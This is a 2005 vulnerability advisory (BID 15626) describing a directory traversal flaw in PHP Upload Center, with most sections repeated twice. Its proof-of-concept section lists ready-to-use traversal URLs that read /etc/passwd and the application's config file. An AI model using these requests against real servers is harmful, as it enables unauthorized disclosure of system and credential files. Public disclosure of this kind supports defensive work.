PHP Upload Center Directory Traversal Vulnerability
BID:15626
Info
PHP Upload Center Directory Traversal Vulnerability
| Bugtraq ID: | 15626 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 29 2005 12:00AM |
| Updated: | Nov 29 2005 12:00AM |
| Credit: | Discovered by Liz0ziM. |
| Vulnerable: |
PHP Upload Center PHP Upload Center |
| Not Vulnerable: | |
Discussion
PHP Upload Center Directory Traversal Vulnerability
PHP Upload Center is prone to a directory traversal vulnerability.
A remote attacker may exploit this vulnerability to reveal files that contain potentially sensitive information. Information that is harvested in this manner may then be used to aid in further attacks against the software and the computer that is hosting the software.
All versions of PHP Upload Center are considered to be vulnerable at the moment.
PHP Upload Center is prone to a directory traversal vulnerability.
A remote attacker may exploit this vulnerability to reveal files that contain potentially sensitive information. Information that is harvested in this manner may then be used to aid in further attacks against the software and the computer that is hosting the software.
All versions of PHP Upload Center are considered to be vulnerable at the moment.
Exploit / POC
PHP Upload Center Directory Traversal Vulnerability
No exploit is required.
The following proof of concept examples are available:
http://www.example.com/upload/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/upload/index.php?action=view&filename=../include/conf.php
http://www.example.com/instaladores/index.php?action=view&filename=../include/conf.php
No exploit is required.
The following proof of concept examples are available:
http://www.example.com/upload/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/instaladores/index.php?action=view&filename=../../../../../../../../../../../../../../../../etc/passwd
http://www.example.com/upload/index.php?action=view&filename=../include/conf.php
http://www.example.com/instaladores/index.php?action=view&filename=../include/conf.php
Solution / Fix
PHP Upload Center Directory Traversal Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
PHP Upload Center Directory Traversal Vulnerability
References:
References: